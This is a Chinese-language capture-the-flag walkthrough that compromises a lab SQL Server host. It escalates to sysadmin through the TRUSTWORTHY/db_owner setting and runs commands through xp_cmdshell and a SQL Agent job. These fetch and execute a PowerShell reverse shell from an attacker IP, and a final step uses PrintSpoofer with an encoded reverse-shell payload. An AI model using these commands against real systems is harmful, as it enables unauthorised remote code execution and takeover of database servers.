faker

提示：初始凭证db-user:whoami
提示：user的flag在c:/根目录下

PortScan

```
PORT     STATE SERVICE  REASON  VERSION
1433/tcp open  ms-sql-s syn-ack Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-04T03:46:44
| Not valid after:  2055-11-04T03:46:44
| MD5:   6465:3376:556d:0c57:40de:8bf4:16f2:8292
| SHA-1: a706:da3d:5819:f80b:c623:2df2:0a12:be0a:ccfd:f07c
| -----BEGIN CERTIFICATE-----
| MIIEADCCAmigAwIBAgIQQQ9QxX/pd79CEcmMSe+T4DANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjUxMTA0MDM0NjQ0WhgPMjA1NTExMDQwMzQ2NDRaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAL1vDUz1
| IFiYcnLZePPlXA+ZLzRqpWutjIvK/eu6bFNP+0JAvapFoGMCTfxt1jkMAnmSZJFY
| RGPNYEq5cad2ktnBz7e3rkinGNcrsL/HpGtQZRAxhLjWH/coJFlytpC90ScCBflp
| /fPetf/2aqnuh3uHrrfHSjoFiDegjJ2ve7QwU1RtbPGLGJ9V3qbjYmPHifLGgazh
| d3JMzpghTY4JsIOvEEVKahKbI0nK1vzdyJf1NsMcrXpfXOzDIatArL/4qEEx2hUi
| wp4OdQbPNSRxWz3/qtWlPf+ewq4kMhLni1H32gbyutQM1CWHPCuwGQOrPLFu/mp/
| 5zBdVBx6PX9NZEgFKU3MWMFsZmml/816kDoR1rVKUmakHIBnHzTA15zYyK+kXQCq
| deoi2aRf2dkc3jgAs17asnQEWLYLXNC3DrdjR6M2tbmbAZ1/PYcLgZZ695s9kAM9
| Jsc+wz4vK78QB3IePXfNTn4g8HRmozGnrdOhowudE3csYw/3AppHwDo6oQIDAQAB
| MA0GCSqGSIb3DQEBCwUAA4IBgQAkhqTvOY8YFopaKJV3IoTnqIYneOj++NZ5HMWW
| qfUIs6xnoRMJtwqEni+RtKJIiVXM0MTfI7or+tDO5u1RP7WbqZFS8YMujpVC5NUa
| VcZtzGsGCyBHWiMn8O5Sv3yxqhea29/Sipg7+6/ubITHqZa94ZPdbpeghVZ6ccXa
| 5XEsg4KozQwf61ylCpXp/17rtSn70ZETKnmbAoi0sMKJBFNg24Oju5ooSO9Vq8JH
| p/syEaavuMnPeeFqP2t/AH1zCyQzW4ERLkOCBD47zMFF5/e4FLyQxiQvJ/V/ptQC
| zllXo8b4+KD4KJ6eVFFin+whYCaKNHSnhYr2P+VE+uiNyVU0deOKncxzyFJsmDdp
| HCEBXG6hmpSFo62otv7YK01nqloaHxxr1BnlNfkb6ljog2UemIvoSA0MlMEb2ajN
| UfogrcM9laeCU7vx/g+x+xYS5nGvqvft2UWSq1SjC06/rFEqMkJpQYSf4xv8IE+r
| gzdLYtCD9aUXG7CNQb+nUwUWBqg=
|_-----END CERTIFICATE-----
```

只开放了 1433

初始访问

mssql 信息收集

```
impacket-mssqlclient db-user@192.168.59.134 -windows-auth
```

查看数据库内容，提示此数据库已经开启 TRUSTWORTHY

```
SELECT name FROM master.dbo.sysdatabases
SELECT * FROM faker.INFORMATION_SCHEMA.TABLES
SELECT * FROM faker.dbo.Notes
```

```
SQL (faker\db-user  dbo@msdb)> SELECT name FROM master.dbo.sysdatabases
name
------
master

tempdb

model

msdb

faker

SQL (faker\db-user  dbo@msdb)> SELECT * FROM faker.INFORMATION_SCHEMA.TABLES
TABLE_CATALOG   TABLE_SCHEMA   TABLE_NAME   TABLE_TYPE
-------------   ------------   ----------   ----------
faker           dbo            Notes        b'BASE TABLE'

SQL (faker\db-user  dbo@msdb)> SELECT * FROM faker.dbo.Notes
NoteID   NoteContent
------   -----------------------------
     1   为庆祝T1进入决赛，此数据库已经开启TRUSTWORTHY

SQL (faker\db-user  dbo@msdb)>
```

当前不是 sysadmin 权限

```
SQL (faker\db-user  faker\db-user@faker)> use faker;
ENVCHANGE(DATABASE): Old Value: faker, New Value: faker
INFO(db-server): Line 1: 已将数据库上下文更改为 "faker"。
SQL (faker\db-user  faker\db-user@faker)> SELECT CURRENT_USER

-------------
faker\db-user

SQL (faker\db-user  faker\db-user@faker)> SELECT IS_SRVROLEMEMBER('sysadmin');

-
0
```

Abusing Trustworthy

[MSSQL for Pentester: Assless Trustworthy --- MSSQL for Pentester: Abusing Trustworthy]

`Trustworthy` 是一个数据库属性，当一个数据库被错误地配置时，拥有该数据库 `db_owner`（数据库所有者）角色的攻击者，可以利用此配置，将其权限提升到 `sysadmin`。

1.检查 trustworthy 属性

检查数据库是否激活了 `trustworthy` 属性

```
SQL (faker\db-user  guest@master)> SELECT name as database_name ,
SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY
from sys.databases;
-------------   --------------   -----------
master          sa                         0
tempdb          sa                         0
model           sa                         0
msdb            sa                         1
faker           NULL                       1
```

```
SQL (faker\db-user  dbo@master)> SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustwor
thy_on AS TRUSTWORTHY from sys.databases;
database_name   database_owner   TRUSTWORTHY
-------------   --------------   -----------
master          sa                         0

tempdb          sa                         0

model           sa                         0

msdb            sa                         1

faker           NULL                       1
```

2.检查 db_owners

查询显示 `trustworthy` 属性已开启。转到数据库 faker，查询来检查哪些用户是 `db_owners`（数据库所有者）

```
use faker;
SELECT DP1.name AS DatabaseRoleName, isnull(DP2.name, 'No members') AS
DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN
sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id =
DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
```

```
SQL (faker\db-user  guest@master)> use faker;
ENVCHANGE(DATABASE): Old Value: master, New Value: faker
INFO(db-server): Line 1: 已将数据库上下文更改为 "faker"。
SQL (faker\db-user  faker\db-user@faker)> SELECT DP1.name AS DatabaseRoleName, isnull(DP2.name, 'No members') AS Databa
seUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_
id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHER
E DP1.type = 'R' ORDER BY DP1.name;
DatabaseRoleName    DatabaseUserName
-----------------   ----------------
db_accessadmin      No members

db_backupoperator   No members

db_datareader       No members

db_datawriter       No members

db_ddladmin         No members

db_denydatareader   No members

db_denydatawriter   No members

db_owner            dbo

db_owner            faker\db-user

db_securityadmin    No members

public              No members
```

3.切换当前的执行上下文

`EXECUTE AS USER` 语句的核心功能是切换当前的执行上下文 (Execution Context)，它允许一个数据库用户暂时以另一个数据库用户的身份执行代码。

在 `faker` 数据库中，由于 `faker\db-user` 拥有 `db_owner` 角色，则它拥有对 `dbo` 用户的 `IMPERSONATE` 权限。执行此语句后， `faker\db-user` 的执行上下文立即切换为 `dbo` 。这意味着在执行 `REVERT;` 语句或会话结束之前，该会话将暂时失去 `faker\db-user` 的所有权限，并**完全获得** `dbo` 用户的所有权限。

一旦 `faker\db-user` 成功地在 `dbo` 的上下文中运行，它就可以利用 `dbo` （数据库最高权限用户）的身份来执行更高权限的操作，为db-user 授予 sysadmin 权限。

```
EXECUTE AS USER = 'dbo';
SELECT system_user;
```

```
SQL (faker\db-user  faker\db-user@faker)> EXECUTE AS USER = 'dbo';
SQL (FAKER\Administrator  dbo@faker)> SELECT system_user;

____________________
FAKER\Administrator
```

4.提升 faker\db-user 权限

现在可以将 faker\db-user 用户提升为 sysadmin 权限：

```
EXEC sp_addsrvrolemember 'faker\db-user','sysadmin';
```

查看 faker\db-user 用户的角色属于 **sysadmin**

```
SELECT IS_SRVROLEMEMBER('sysadmin');
```

```
SQL (faker\db-user  dbo@faker)> SELECT IS_SRVROLEMEMBER('sysadmin');

-
1
```

revert 后发现无论再次登录还是重启，数据库用户不显示 faker\db-user，只显示 dbo。问了下 ai

- **连接时**：使用 `faker\db-user` 凭据
- **登录后**：因为它是 `sysadmin`，SQL Server 自动授予它在所有数据库中的 `dbo` 权限
- **显示效果**：提示符显示 `(faker\db-user dbo@master)`， `SELECT USER` 返回 `dbo`

5.开启 xp_cmdshell 并反弹shell

```
enable_xp_cmdshell
xp_cmdshell powershell iex (iwr http://192.168.59.128/Invoke-
PowerShellTcp.ps1 -UseBasicParsing)
```

```
SQL (faker\db-user  dbo@faker)> enable_xp_cmdshell
INFO(db-server): Line 196: 配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
INFO(db-server): Line 196: 配置选项 'xp_cmdshell' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
SQL (faker\db-user  dbo@faker)> xp_cmdshell powershell iex (iwr http://192.168.59.128/Invoke-PowerShellTcp.ps1 -UseBas
icParsing)
```

```
┌──(minidump㉿minidump)-[~/Desktop/test]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.59.128] from (UNKNOWN) [192.168.59.134] 60460
Windows PowerShell running as user MSSQLSERVER on DB-SERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt service\mssqlserver
PS C:\Windows\system32>
```

```
PS C:\users\public> cat \flag\user.txt
880e66eec0d8b05645bb027b77948c92

notes:the agent is running
```

有一个提示 the agent is running，搜了下可能是 SQL Server Agent，是 SQL Server 的任务调度和自动化服务

SQL Agent Job 执行命令

[血缇之书]
[MSSQL - 命令执行 - 内部所有事项 --- MSSQL - Command Execution - Internal All The Things]
可以通过创建并执行 SQL Server Agent 作业从远程服务器下载并运行 PowerShell 反向 Shell 脚本，实现命令执行。

需要 **sysadmin** 或 **SQLAgentUserRole**、**SQLAgentReaderRole**、**SQLAgentOperatorRole** 角色才能创建作业。

```
-- 查询agent是否在运行
USE master; SELECT servicename, service_account, status, status_desc FROM
sys.dm_server_services;
```

```
SQL (faker\db-user  dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');

-
1

SQL (faker\db-user  dbo@master)> USE master; SELECT servicename, service_account, status, status_desc FROM sys.dm_ser
ver_services;
ENVCHANGE(DATABASE): Old Value: master, New Value: master
INFO(db-server): Line 1: 已将数据库上下文更改为 "master"。
servicename                    service_account              status   status_desc
----------------------------   --------------------------   ------   -----------
SQL Server (MSSQLSERVER)       NT Service\MSSQLSERVER            4   Running

SQL Server 代理 (MSSQLSERVER)   NT Service\SQLSERVERAGENT        4   Running
```

执行以下 sql 语句反弹shell

```
-- 切换到 `msdb` 系统数据库。这是 SQL Server 存储job、警报、操作员等信息的系统数据库
USE msdb;

-- 创建一个名为 `reverse_job` 的新 SQL Server Agent job。job是任务的容器。
EXEC dbo.sp_add_job @job_name = N'reverse_job';

-- 向job添加一个任务，从远程服务器下载并执行 PowerShell 反向 Shell 脚本，失败时重试1次，重试间隔5分钟
EXEC sp_add_jobstep @job_name = N'reverse_job', @step_name =
N'test_powershell_name1', @subsystem = N'PowerShell', @command =
N'powershell -nop -w hidden -c "IEX(New-Object
Net.WebClient).DownloadString(''http://192.168.59.128/Invoke-
PowerShellTcp.ps1'')"', @retry_attempts = 1, @retry_interval = 5 ;

-- 将job分配给当前 SQL Server 实例
EXEC dbo.sp_add_jobserver @job_name = N'reverse_job';

-- 立即开始执行 `reverse_job` job
EXEC dbo.sp_start_job N'reverse_job';

-- delete
EXEC dbo.sp_delete_job @job_name = N'reverse_job';
```

```
SQL (faker\db-user  dbo@msdb)> USE msdb;
ENVCHANGE(DATABASE): Old Value: msdb, New Value: msdb
INFO(db-server): Line 1: 已将数据库上下文更改为 "msdb"。
SQL (faker\db-user  dbo@msdb)> EXEC dbo.sp_add_job @job_name = N'reverse_job';
SQL (faker\db-user  dbo@msdb)> EXEC sp_add_jobstep @job_name = N'reverse_job', @step_name = N'test_powershell_name1', @
subsystem = N'PowerShell', @command = N'powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString(''ht
tp://192.168.59.128/Invoke-PowerShellTcp.ps1'')"', @retry_attempts = 1, @retry_interval = 5 ;
SQL (faker\db-user  dbo@msdb)> EXEC dbo.sp_add_jobserver @job_name = N'reverse_job';
SQL (faker\db-user  dbo@msdb)> EXEC dbo.sp_start_job N'reverse_job';
INFO(db-server): Line 96: 作业 'reverse_job' 已成功启动。
SQL (faker\db-user  dbo@msdb)>
```

shell as sqlserveragent

```
┌──(minidump㉿minidump)-[~/Desktop/test]
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.59.128] from (UNKNOWN) [192.168.59.134] 53725
Windows PowerShell running as user SQLSERVERAGENT on DB-SERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
nt service\sqlserveragent
PS C:\Windows\system32>
```

提权

```
chcp 65001
```

SeImpersonatePrivilege 提权

```
C:\Users\Public>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

上传 PrintSpoofer64.exe 提权即可

shell as db-server$

```
PS C:\users\public> .\PrintSpoofer64.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAA
UwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADUAOQAuADEAMgA
4ACIALAA1ADUANQA1ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AG
UAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZ
QBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7
ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEE
AUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZA
BiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkA
GIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4A
IAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdAB
CAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwAC
wAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQAL
gBDAGwAbwBzAGUAKAApAA=="
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
PS C:\users\public>
```

```
┌──(minidump㉿minidump)-[~/Desktop/test]
└─$ rlwrap nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.59.128] from (UNKNOWN) [192.168.59.134] 61360

PS C:\Windows\system32> whoami
faker\db-server$
PS C:\Windows\system32>
```